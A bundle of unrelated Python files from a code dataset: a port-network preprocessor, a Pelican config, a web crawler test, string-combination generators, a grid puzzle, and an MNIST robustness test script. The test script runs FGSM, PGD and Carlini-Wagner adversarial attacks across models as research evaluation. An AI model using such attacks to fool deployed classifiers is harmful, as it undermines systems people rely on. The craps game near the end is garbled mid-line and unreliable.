'ports',\n 'port_network',\n 'water_edges.shp')\n port_edges = gpd.read_file(port_edges_path,encoding='utf-8').fillna(0)\n port_edges.columns = map(str.lower, port_edges.columns)\n port_edges.rename(columns={'id':'edge_id','from_id':'from_node','to_id':'to_node'},inplace=True)\n port_edges = port_edges[['from_node','to_node','edge_id','geometry']]\n # get the right linelength\n port_edges['length'] = port_edges.geometry.apply(line_length)\n port_edges['min_speed'] = 4.0\n port_edges['max_speed'] = 5.0\n port_edges['min_time'] = port_edges['length']/port_edges['max_speed']\n port_edges['max_time'] = port_edges['length']/port_edges['min_speed']\n\n cost_df = pd.read_excel(os.path.join(incoming_data_path,'costs','port','port_costs.xlsx'),sheet_name='costs')\n port_edges['min_gcost'] = cost_df['min_cost'].values[0]\n port_edges['max_gcost'] = cost_df['max_cost'].values[0]\n port_edges.crs = {'init' :'epsg:4326'}\n\n port_edges.to_file(os.path.join(data_path,'network','port_edges.shp'),encoding = 'utf-8')\n port_edges.drop('geometry', axis=1, inplace=True)\n port_edges.to_csv(os.path.join(data_path,'network','port_edges.csv'),encoding='utf-8-sig',index=False)\n\n port_nodes.rename(columns={'id':'node_id'},inplace=True)\n port_nodes.to_file(os.path.join(data_path,'network','port_nodes.shp'),encoding = 'utf-8')\n port_nodes.drop('geometry', axis=1, inplace=True)\n port_nodes.to_csv(os.path.join(data_path,'network','port_nodes.csv'),encoding='utf-8-sig',index=False)\n\nif __name__ == '__main__':\n CONFIG = load_config()\n main(CONFIG)\n","sub_path":"src/atra/preprocess/port_od_flows.py","file_name":"port_od_flows.py","file_ext":"py","file_size_in_byte":21359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"133279526","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\n# Development pelican configuration file\n\nAUTHOR = 'Pierre-Luc Perrier'\nSITENAME = 'Pluc'\nSITEURL = ''\nRELATIVE_URLS = True\nDEFAULT_LANG = 'fr'\nTIMEZONE = 'Europe/Paris'\nTHEME = 'abzhack'\n\nPATH = 'content'\nCACHE_CONTENT = False\nLOAD_CONTENT_CACHE = False\n\nSUMMARY_MAX_LENGTH = 20\nDISPLAY_PAGES_ON_MENU=True\n\n# Pagination\n## The minimum number of articles allowed on the last page\nDEFAULT_ORPHANS = 1\n## The maximum number of articles to include on a page, not including\n## orphans. False to disable pagination.\nDEFAULT_PAGINATION = False\n# A set of patterns that are used to determine advanced pagination output.\n# PAGINATION_PATTERNS = (\n# (1, '{base_name}/', '{base_name}/index.html'),\n# (2, '{base_name}/page/{number}/', '{base_name}/page/{number}/index.html'),\n# )\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Disable tag generation\nTAGS_SAVE_AS = ''\nTAG_SAVE_AS = ''\n\n# Blogroll\nLINKS = ()\n\n# Social widget\nSOCIAL = (\n ('github', 'https://github.com/kode9'),\n ('stackoverflow', 'https://stackoverflow.com/users/1024122/thepluc'),\n)\n\n# Theme specific\nUSER_LOGO_URL='images/pluc.png'\nAUTO_REFRESH = False\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"238703553","text":"# from bs4 import BeautifulSoup\n# from urllib.request import urlopen\n#\n# # html = urlopen(\"https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB/5162711?fr=aladdin&fromid=22046949&fromtitle=%E7%88%AC%E8%99%AB\").read().decode(\"utf-8\")\n# print(html)\n# soup = BeautifulSoup(html,\"lxml\")\n#\n# all_href = soup.find_all(\"div\")\n# # all_href = [l['href'] for l in all_href]\n# print('\\n', all_href)\n\n\n# from bs4 import BeautifulSoup\n# from urllib.request import urlopen\n#\n# # if has Chinese, apply decode()\n# html = urlopen(\"https://morvanzhou.github.io/static/scraping/list.html\").read().decode('utf-8')\n# print(html)\n# soup = BeautifulSoup(html,'lxml')\n# month = soup.find_all('class')\n# month = [1 ['month'] for 1 in month]\n# print(month)\n\n\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport re\nimport random\n\n\nbase_url = \"https://baike.baidu.com\"\nhis = [\"/item/%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB/5162711\"]\n\nurl = base_url + his[-1]\n\nhtml = urlopen(url).read().decode('utf-8')\nsoup = BeautifulSoup(html, features='lxml')\nprint(soup.find('h1').get_text(), ' url: ', his[-1])\n\n# find valid urls\nsub_urls = soup.find_all(\"a\", {\"target\": \"_blank\", \"href\": re.compile(\"/item/(%.{2})+$\")})\n\nif len(sub_urls) != 0:\n his.append(random.sample(sub_urls, 1)[0]['href'])\nelse:\n # no valid sub link found\n his.pop()\nprint(his)\n\n","sub_path":"WebCrawlerTest/beautifulSoupTest.py","file_name":"beautifulSoupTest.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"114503938","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# Name: module2\n# Purpose:\n#\n# Author: Jean\n#\n# Created: 04/03/2018\n# Copyright: (c) Jean 2018\n# Licence: \n#-------------------------------------------------------------------------------\n#!/usr/bin/python\ndef random1():\n import random\n lower_a = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n upper_a = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n\n all = []\n all = \" \".join(\"\".join(lower_a) + \"\".join(upper_a) + \"\".join(num))\n all = all.split()\n x = 1\n c = 1\n while x < 10:\n y = []\n for i in range(c):\n a = random.choice(all)\n y.append(a)\n print (\"\".join(y))\n x += 1\n c += 1\n\ndef random2():\n import itertools\n\n lower_a = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n upper_a = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n\n all = []\n all = lower_a + upper_a + num\n\n for r in range(1, 3):\n for s in itertools.product(all, repeat=r):\n print (''.join(s))\n\ndef random3():\n lower_a = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n upper_a = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n\n all = []\n all = lower_a + upper_a + num\n\n def recursive_product(myList, length, myString = \"\"):\n if length == 0:\n print (myString)\n return\n for c in myList:\n recursive_product(myList, length-1, myString + c)\n\n for r in range(1, 3):\n recursive_product(all, r)\n\ndef random4():\n from itertools import combinations\n\n symbols = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n \"abcdefghijklmnopqrstuvwxyz\"\n \"0123456789\"\n max_length = len(symbols)\n\n for length in range(1, max_length + 1):\n for word in map(''.join, combinations(symbols, length)):\n print (word)\n\ndef random5():\n from itertools import combinations, product\n\n symbols = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n \"abcdefghijklmnopqrstuvwxyz\"\n \"0123456789\"\n max_length = len(symbols)\n\n # generator of all combinations\n def words1(chars=symbols, max_len=max_length):\n for length in range(1, max_length + 1):\n for word in map(''.join, combinations(symbols, length)):\n yield word\n\n # generator of all combinations allowing repetitions\n def words2(chars=symbols, max_len=max_length):\n for length in range(1, max_length + 1):\n for word in map(''.join, product(*[symbols]*length)):\n yield word\n\n\n for word in words1(): #or words2\n #do something with word\n print (word)\n\ndef main():\n random5()\n\nif __name__ == '__main__':\n main()\n","sub_path":"combinations of string symbols.py","file_name":"combinations of string symbols.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"140571069","text":"def find_distance_dfs(grid, i, j, rows, columns, dist, tracker):\n if (i, j) in tracker:\n return dist[i][j]\n if min(i, j) < 0 or i >= rows or j >= columns:\n return float('inf')\n if dist[i][j] != float('inf'):\n return dist[i][j]\n tracker.add((i, j))\n min_d = min(find_distance_dfs(grid, i+1, j, rows, columns, dist, tracker),\n find_distance_dfs(grid, i, j + 1, rows,\n columns, dist, tracker),\n find_distance_dfs(grid, i-1, j, rows, columns, dist, tracker),\n find_distance_dfs(grid, i, j-1, rows, columns, dist, tracker)) + 1\n dist[i][j] = min_d\n return min_d\n\n\ndef minimumDays(rows, columns, grid):\n # WRITE YOUR CODE HERE\n dist = [[float('inf') for _ in range(columns)] for _ in range(rows)]\n\n for i in range(rows):\n for j in range(columns):\n if grid[i][j] == 1:\n # dist[i][j] = 1\n dist[i][j] = 0\n result = []\n remaining = []\n for i in range(rows):\n for j in range(columns):\n if grid[i][j] == 0 and dist[i][j] == float('inf'):\n find_distance_dfs(grid, i, j, rows, columns, dist, set())\n\n print(dist)\n return max([max(x) for x in dist])\n\n\nprint(minimumDays(5, 5, [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [\n 0, 0, 1, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]]))\n","sub_path":"Python_Projects/6-Google codejam/139_find_min_days.py","file_name":"139_find_min_days.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"211783153","text":"import sys\nsys.path.append('.')\n\nimport os\nimport time\nimport setproctitle\n\nimport numpy as np\nimport tensorflow as tf\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nimport cleverhans\nfrom cleverhans.attacks import CarliniWagnerL2\nfrom cleverhans.attacks import ProjectedGradientDescent\nfrom cleverhans.attacks import FastGradientMethod\nfrom cleverhans.model import CallableModelWrapper\nfrom cleverhans.utils import AccuracyReport\nfrom cleverhans.utils_pytorch import convert_pytorch_model_to_tf\n\n\nfrom examples.transfer_mnist import select_model, argparser\nfrom convex_adversarial import robust_loss, robust_loss_transfer\nimport examples.problems as pblm\nfrom examples.trainer import AverageMeter\n\n\nDEBUG = False\nparams = {\n 'cuda_ids': 1,\n 'batch_size': 128,\n 'robust_batch_size': 50,\n 'robust_transfer_batch_size': 30,\n 'actual_attack_batch_size': 400\n}\n\nCW_LEARNING_RATE = .2\nCW_ATTACK_ITERATIONS = 100\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\n\n## -------\n\n\n\ndef evaluate(loader, model, apply_func, log, verbose):\n batch_time = AverageMeter()\n losses = AverageMeter()\n errors = AverageMeter()\n\n end = time.time()\n\n for i, (X,y) in enumerate(loader):\n X,y = X.cuda(), y.cuda().long()\n if apply_func is not None:\n X,y = apply_func(model, X, y)\n if y.dim() == 2:\n y = y.squeeze(1)\n\n with torch.no_grad():\n out = model(Variable(X))\n ce = nn.CrossEntropyLoss()(out, Variable(y))\n err = (out.max(1)[1] != y).float().sum() / X.size(0)\n\n # measure accuracy and record loss\n losses.update(ce.item(), X.size(0))\n errors.update(err.item(), X.size(0))\n\n # measure elapsed time\n batch_time.update(time.time()-end)\n end = time.time()\n\n # print(i, ce.item(), err.item(), file=log)\n\n if verbose:\n endline = '\\n' if i % verbose == 0 else '\\r'\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Error {errors.val:.3f} ({errors.avg:.3f})'.format(\n i, len(loader), batch_time=batch_time,\n loss=losses, errors=errors), end=endline)\n log.flush()\n\n del X, y, out, ce, err\n if DEBUG and i == 10:\n break\n return losses.avg, errors.avg\n\n\ndef evaluate_robust(loader, model, epsilon, log, verbose):\n batch_time = AverageMeter()\n robust_losses = AverageMeter()\n robust_errors = AverageMeter()\n\n end = time.time()\n\n torch.set_grad_enabled(False)\n for i, (X,y) in enumerate(loader):\n X,y = X.cuda(), y.cuda().long()\n if y.dim() == 2:\n y = y.squeeze(1)\n\n robust_ce, robust_err = robust_loss(model, epsilon, X, y)\n\n # measure accuracy and record loss\n robust_losses.update(robust_ce.item(), X.size(0))\n robust_errors.update(robust_err, X.size(0))\n\n # measure elapsed time\n batch_time.update(time.time()-end)\n end = time.time()\n\n # print(i, robust_ce.item(), robust_err, file=log)\n\n if verbose:\n endline = '\\n' if i % verbose == 0 else '\\r'\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Robust loss {rloss.val:.3f} ({rloss.avg:.3f})\\t'\n 'Robust error {rerrors.val:.3f} ({rerrors.avg:.3f})'.format(\n i, len(loader), batch_time=batch_time,\n rloss = robust_losses, rerrors = robust_errors), end=endline)\n log.flush()\n\n del X, y, robust_ce\n if DEBUG and i == 10:\n break\n torch.set_grad_enabled(True)\n torch.cuda.empty_cache()\n return robust_losses.avg, robust_errors.avg\n\n\ndef evaluate_transfer_robust(loader, t_model, model, epsilon, adaptive_vp_rate, log, verbose,\n real_time=False, evaluate=False, clip_grad=None, **kwargs):\n\n batch_time = AverageMeter()\n robust_losses = AverageMeter()\n robust_errors = AverageMeter()\n vp_rates = AverageMeter()\n invp_rates = AverageMeter()\n\n end = time.time()\n for i, (X,y) in enumerate(loader):\n X,y = X.cuda(), y.cuda().long()\n if y.dim() == 2:\n y = y.squeeze(1)\n\n robust_ce, robust_err, _, _, v_point_rate, eta, inv_point_rate = \\\n robust_loss_transfer(model, t_model, epsilon,\n Variable(X), Variable(y), **kwargs)\n\n # measure accuracy and record loss\n robust_losses.update(robust_ce.detach().item(), X.size(0))\n robust_errors.update(robust_err, X.size(0))\n vp_rates.update(v_point_rate, X.size(0))\n invp_rates.update(inv_point_rate, X.size(0))\n\n # measure elapsed time\n batch_time.update(time.time()-end)\n end = time.time()\n\n # print(i, robust_ce.detach().item(), robust_err, v_point_rate, inv_point_rate, file=log)\n\n if verbose:\n endline = '\\n' if i % verbose == 0 else '\\r'\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'T Robust loss {rloss.val:.4f} ({rloss.avg:.4f})\\t'\n 'T Robust error {rerrors.val:.3f} ({rerrors.avg:.3f})\\t'\n 'VP Rate {vp_rate.val: .3f} ({vp_rate.avg:.3f})\\t'\n 'INVP Rate {invp_rate.val: .3f} ({invp_rate.avg:.3f})\\t'.format(\n i, len(loader), batch_time=batch_time,\n vp_rate=vp_rates, invp_rate=invp_rates,\n rloss=robust_losses, rerrors=robust_errors), end=endline)\n\n log.flush()\n\n del X, y, robust_ce, robust_err\n if DEBUG and i == 10:\n break\n torch.cuda.empty_cache()\n return robust_losses.avg, robust_errors.avg, vp_rates.avg, invp_rates.avg\n\n\ndef test_transferability(loader, attack_method, epsilon, torch_model1, torch_model2, verbose, batch_size):\n batch_time = AverageMeter()\n err11s = AverageMeter()\n err12s = AverageMeter()\n err21s = AverageMeter()\n err22s = AverageMeter()\n\n end = time.time()\n\n sess = tf.Session(config=config)\n x_op = tf.placeholder(tf.float32, shape=(None, 1, 28, 28,))\n\n # Convert pytorch model to a tf_model and wrap it in cleverhans\n tf_model_fn1 = convert_pytorch_model_to_tf(torch_model1)\n if torch_model2 is not None:\n tf_model_fn2 = convert_pytorch_model_to_tf(torch_model2)\n\n # Attack Parameters\n if attack_method == 'CW':\n params = {'binary_search_steps': 1,\n # 'y': None,\n 'max_iterations': CW_ATTACK_ITERATIONS,\n 'learning_rate': CW_LEARNING_RATE,\n 'batch_size': batch_size,\n 'initial_const': 10}\n elif attack_method == 'PGD':\n params = {'eps': epsilon,\n 'clip_min': 0.,\n 'clip_max': 1.,\n 'eps_iter': 0.005,\n 'nb_iter': 100,\n 'rand_init': False}\n elif attack_method == 'FGSM':\n params = {'eps': epsilon,\n 'clip_min': 0.,\n 'clip_max': 1.}\n else:\n raise Exception('Unknown attack method %s'.format(attack_method))\n\n # Model1 --> Model2\n cleverhans_model1 = CallableModelWrapper(tf_model_fn1, output_layer='logits')\n if torch_model2 is not None:\n cleverhans_model2 = CallableModelWrapper(tf_model_fn2, output_layer='logits')\n\n # Create an attack\n if attack_method == 'CW':\n attk1 = CarliniWagnerL2(cleverhans_model1, sess=sess)\n if attack_method == 'PGD':\n attk1 = ProjectedGradientDescent(cleverhans_model1, sess=sess)\n if attack_method == 'FGSM':\n attk1 = FastGradientMethod(cleverhans_model1, sess=sess)\n if torch_model2 is not None:\n if attack_method == 'CW':\n attk2 = CarliniWagnerL2(cleverhans_model2, sess=sess)\n if attack_method == 'PGD':\n attk2 = ProjectedGradientDescent(cleverhans_model2, sess=sess)\n if attack_method == 'FGSM':\n attk2 = FastGradientMethod(cleverhans_model2, sess=sess)\n\n adv_x_op1 = attk1.generate(x_op, **params)\n if torch_model2 is not None:\n adv_x_op2 = attk2.generate(x_op, **params)\n\n # Test on model1 and model2\n adv_preds_op11 = tf_model_fn1(adv_x_op1)\n if torch_model2 is not None:\n adv_preds_op12 = tf_model_fn2(adv_x_op1)\n adv_preds_op21 = tf_model_fn1(adv_x_op2)\n adv_preds_op22 = tf_model_fn2(adv_x_op2)\n\n for i, (xs, ys) in enumerate(loader):\n if torch_model2 is not None:\n (adv_preds11, adv_preds12) = sess.run((adv_preds_op11, adv_preds_op12), feed_dict={x_op: xs})\n (adv_preds21, adv_preds22) = sess.run((adv_preds_op21, adv_preds_op22), feed_dict={x_op: xs})\n err11 = float((np.argmax(adv_preds11, axis=1) != ys).sum()) / xs.size(0)\n err12 = float((np.argmax(adv_preds12, axis=1) != ys).sum()) / xs.size(0)\n err21 = float((np.argmax(adv_preds21, axis=1) != ys).sum()) / xs.size(0)\n err22 = float((np.argmax(adv_preds22, axis=1) != ys).sum()) / xs.size(0)\n err11s.update(err11, xs.size(0))\n err12s.update(err12, xs.size(0))\n err21s.update(err21, xs.size(0))\n err22s.update(err22, xs.size(0))\n else:\n adv_preds11 = sess.run((adv_preds_op11), feed_dict={x_op: xs})\n err11 = float((np.argmax(adv_preds11, axis=1) != ys).sum()) / xs.size(0)\n err11s.update(err11, xs.size(0))\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n\n if verbose:\n endline = '\\n' if i % verbose == 0 else '\\r'\n if torch_model2 is not None:\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'error 1->1 {err11.val:.3f} ({err11.avg:.3f})\\t'\n 'error 1->2 {err12.val:.3f} ({err12.avg:.3f})\\t'\n 'error 2->1 {err21.val:.3f} ({err21.avg:.3f})\\t'\n 'error 2->2 {err22.val:.3f} ({err22.avg:.3f})\\t'.format(\n i, len(loader), batch_time=batch_time,\n err11=err11s, err12=err12s, err21=err21s, err22=err22s), end=endline)\n else:\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'error {err11.val:.3f} ({err11.avg:.3f})\\t'.format(\n i, len(loader), batch_time=batch_time,\n err11=err11s), end=endline)\n\n sess.close()\n if torch_model2 is not None:\n return err11s.avg, err12s.avg, err21s.avg, err22s.avg\n else:\n return err11s.avg\n\n\ndef test_transferability_subset(loader, attack_method, epsilon, torch_model1, torch_model2, verbose, batch_size):\n batch_time = AverageMeter()\n err12s = AverageMeter()\n err21s = AverageMeter()\n\n end = time.time()\n\n sess = tf.Session(config=config)\n x_op = tf.placeholder(tf.float32, shape=(None, 1, 28, 28,))\n\n # Convert pytorch model to a tf_model and wrap it in cleverhans\n tf_model_fn1 = convert_pytorch_model_to_tf(torch_model1)\n tf_model_fn2 = convert_pytorch_model_to_tf(torch_model2)\n\n # Attack Parameters\n if attack_method == 'CW':\n params = {'binary_search_steps': 1,\n # 'y': None,\n 'max_iterations': CW_ATTACK_ITERATIONS,\n 'learning_rate': CW_LEARNING_RATE,\n 'batch_size': batch_size,\n 'initial_const': 10}\n elif attack_method == 'PGD':\n params = {'eps': epsilon,\n 'clip_min': 0.,\n 'clip_max': 1.,\n 'eps_iter': 0.005,\n 'nb_iter': 100,\n 'rand_init': False}\n elif attack_method == 'FGSM':\n params = {'eps': epsilon,\n 'clip_min': 0.,\n 'clip_max': 1.}\n else:\n raise Exception('Unknown attack method %s'.format(attack_method))\n\n # Model1 --> Model2\n cleverhans_model1 = CallableModelWrapper(tf_model_fn1, output_layer='logits')\n cleverhans_model2 = CallableModelWrapper(tf_model_fn2, output_layer='logits')\n\n # Create an attack\n if attack_method == 'CW':\n attk1 = CarliniWagnerL2(cleverhans_model1, sess=sess)\n if attack_method == 'PGD':\n attk1 = ProjectedGradientDescent(cleverhans_model1, sess=sess)\n if attack_method == 'FGSM':\n attk1 = FastGradientMethod(cleverhans_model1, sess=sess)\n\n if attack_method == 'CW':\n attk2 = CarliniWagnerL2(cleverhans_model2, sess=sess)\n if attack_method == 'PGD':\n attk2 = ProjectedGradientDescent(cleverhans_model2, sess=sess)\n if attack_method == 'FGSM':\n attk2 = FastGradientMethod(cleverhans_model2, sess=sess)\n\n adv_x_op1 = attk1.generate(x_op, **params)\n adv_x_op2 = attk2.generate(x_op, **params)\n\n # Test on model1 and model2\n adv_preds_op11 = tf_model_fn1(adv_x_op1)\n adv_preds_op12 = tf_model_fn2(adv_x_op1)\n adv_preds_op21 = tf_model_fn1(adv_x_op2)\n adv_preds_op22 = tf_model_fn2(adv_x_op2)\n\n for i, (xs, ys) in enumerate(loader):\n (adv_preds11, adv_preds12) = sess.run((adv_preds_op11, adv_preds_op12), feed_dict={x_op: xs})\n (adv_preds21, adv_preds22) = sess.run((adv_preds_op21, adv_preds_op22), feed_dict={x_op: xs})\n cnt11 = int((np.argmax(adv_preds11, axis=1) != ys).sum())\n cnt22 = int((np.argmax(adv_preds22, axis=1) != ys).sum())\n if cnt11 > 0:\n err12 = float(((np.argmax(adv_preds12, axis=1) != ys) * (np.argmax(adv_preds11, axis=1) != ys)).sum()) / float(cnt11)\n err12s.update(err12, cnt11)\n if cnt22 > 0:\n err21 = float(((np.argmax(adv_preds22, axis=1) != ys) * (np.argmax(adv_preds21, axis=1) != ys)).sum()) / float(cnt22)\n err21s.update(err21, cnt22)\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if verbose:\n endline = '\\n' if i % verbose == 0 else '\\r'\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'error 1->2 {err12.val:.3f} ({err12.avg:.3f})\\t'\n 'error 2->1 {err21.val:.3f} ({err21.avg:.3f})\\t'.format(\n i, len(loader), batch_time=batch_time,\n err12=err12s, err21=err21s), end=endline)\n\n sess.close()\n return err12s.avg, err21s.avg\n\n\nos.environ['CUDA_VISIBLE_DEVICES'] = str(params['cuda_ids'])\nif __name__ == '__main__':\n\n args = argparser()\n model = dict()\n for m_type in ['M1', 'M1P', 'M2P', 'M2PM', 'M2', 'M2M']:\n weight_path = None\n if m_type == 'M1':\n _psbl_path = args.M1_prefix + '_best.pth'\n elif m_type == 'M1P':\n _psbl_path = args.M1P_prefix + '_best.pth'\n elif m_type == 'M2P':\n _psbl_path = args.M2P_prefix + '_best.pth'\n elif m_type == 'M2PM':\n _psbl_path = args.M2PM_prefix + '_best.pth'\n elif m_type == 'M2':\n _psbl_path = args.M2_prefix + '_best.pth'\n elif m_type == 'M2M':\n _psbl_path = args.M2_prefix + '_mutual_model_best.pth'\n if os.path.exists(_psbl_path):\n model[m_type] = select_model(args.model)\n model[m_type].load_state_dict(torch.load(_psbl_path)['state_dict'])\n\n _, test_loader = pblm.mnist_loaders(params['batch_size'])\n _, robust_test_loader = pblm.mnist_loaders(params['robust_batch_size'])\n _, robust_transfer_test_loader = pblm.mnist_loaders(params['robust_transfer_batch_size'])\n _, actual_test_loader = pblm.mnist_loaders(params['actual_attack_batch_size'])\n\n res_log = open(args.prefix + '_test.txt', \"w\")\n setproctitle.setproctitle('test_clean_accuracy')\n print('Clean accuracy')\n print('Clean accuracy', file=res_log)\n for k in model:\n losses, errors = evaluate(test_loader, model[k], None, res_log, 10)\n print('\\n')\n print(k, 'loss', losses, 'error', errors)\n print(k, 'loss', losses, 'error', errors, file=res_log)\n\n setproctitle.setproctitle('test_robust_bound')\n print('Robust bound')\n print('Robust bound', file=res_log)\n for k in model:\n losses, errors = evaluate_robust(robust_test_loader, model[k], args.epsilon, res_log, 10)\n print('\\n')\n print(k, 'loss', losses, 'error', errors)\n print(k, 'loss', losses, 'error', errors, file=res_log)\n res_log.flush()\n\n # res_trans_log = open('test.trans.log', \"w\")\n # setproctitle.setproctitle('test_transfer_bound')\n # print('Transfer bound')\n # print('Transfer bound', file=res_trans_log)\n # for e in [0.1, 0.3]:\n # # robust_bound\n # m1 = model_set[('N', e)]\n # for t in ['NP', 'T', 'TB']:\n # m2 = model_set[(t, e)]\n # losses, errors, vprates, invprates = evaluate_transfer_robust(robust_transfer_test_loader, m1, m2, e, None, res_trans_log, 10)\n # print(t, e, losses, errors, vprates, invprates, file=res_trans_log)\n # res_trans_log.flush()\n\n res_attack_log = open(args.prefix + '_test.attack.txt', \"w\")\n setproctitle.setproctitle('actual_white_attack')\n print('actual_white_attack', file=res_attack_log)\n print('actual_white_attack')\n for attack_method in ['FGSM', 'PGD']:\n print(attack_method)\n print(attack_method, file=res_attack_log)\n for k in model:\n m = model[k]\n err = test_transferability(actual_test_loader, attack_method, args.epsilon, m, None, 10,\n params['actual_attack_batch_size'])\n print(k, attack_method, 'err', err)\n print(k, attack_method, 'err', err, file=res_attack_log)\n setproctitle.setproctitle('actual_transfer_attack')\n print('actual_transfer_attack', file=res_attack_log)\n print('actual_transfer_attack')\n for attack_method in ['FGSM', 'PGD']:\n print(attack_method)\n print(attack_method, file=res_attack_log)\n appeared = set()\n for s, t in [('M1', 'M1P'), ('M2P', 'M2PM'), ('M2', 'M2M')]:\n # for s in model:\n # for t in model:\n if s == t:\n break\n # if (s, t) in appeared and (t, s) in appeared:\n # break\n m1 = model[s]\n m2 = model[t]\n _, err12, err21, _ = test_transferability(actual_test_loader, attack_method, args.epsilon, m1, m2, 10,\n params['actual_attack_batch_size'])\n print(attack_method, s, '->', t, err12, t, '->', s, err21)\n print(attack_method, s, '->', t, err12, t, '->', s, err21, file=res_attack_log)\n err12, err21 = test_transferability_subset(actual_test_loader, attack_method, args.epsilon, m1, m2, 10,\n params['actual_attack_batch_size'])\n\n print(attack_method, 'subset', s, '->', t, err12, t, '->', s, err21)\n print(attack_method, 'subset', s, '->', t, err12, t, '->', s, err21, file=res_attack_log)\n appeared.add((s, t))\n appeared.add((t, s))\n res_attack_log.flush()\n\n # res_trans_bound_log = open('test.trans.rev.log', \"w\")\n # setproctitle.setproctitle('test_transfer_bound_rev')\n # print('Transfer bound Rev')\n # print('Transfer bound Rev', file=res_trans_bound_log)\n # for e in [0.1, 0.3]:\n # # robust_bound\n # m1 = model_set[('N', e)]\n # for t in ['NP', 'T', 'TB']:\n # m2 = model_set[(t, e)]\n # losses, errors, vprates, invprates = evaluate_transfer_robust(robust_transfer_test_loader, m2, m1, e, None, res_trans_bound_log, 10)\n # print(t, 'N', e, losses, errors, vprates, invprates, file=res_trans_bound_log)\n # res_trans_bound_log.flush()\n\n","sub_path":"test/transfer_test.py","file_name":"transfer_test.py","file_ext":"py","file_size_in_byte":20050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237860045","text":"\"\"\"\ncraps赌博游戏:\n玩家掷两个骰子,点数为1-6,\n如果第一次点数和为7或11,玩家胜\n 第一次点数和为2、3、12,玩家输\n如果为其他点数,记录第一次点数和,然后继续掷骰子\n 直至点数和等于第一次掷骰点数和,玩家胜\n 如果过胜之前掷出和为7,玩家输\n\"\"\"\nimport random\nimport math\ndef crapsrandom():\n x = math.floor(random.random() *10) + 1\n while x > 6:\n x = math.floor(random.random() *10) + 1\n return x\ndef carpsgame():\n a = crapsrandom()\n b = crapsrandom()\n first_sum = a + b\n if first_sum == 7 or first_sum == 11:\n print('你赢了!你掷出了%d和%d,合%d'%(a,b,first_sum))\n elif first_sum == 2 or first_sum == 3 or first_sum == 12:\n print('你输了> 1:\n x = crapsrandom()\n y = crapsrandom()\n if x + y == 7:\n print('你第%d次掷出了%d,%d,你输了!你第一次掷出的点数为:%d,%d,合%d'%(count,x,y,a,b,first_sum))\n break\n elif x + y ==first_sum:\n print('你第%d次掷出了%d,%d,你赢了!你第一次掷出的点数为:%d,%d,合%d'%(count,x,y,a,b,first_sum))\n break\n else:\n 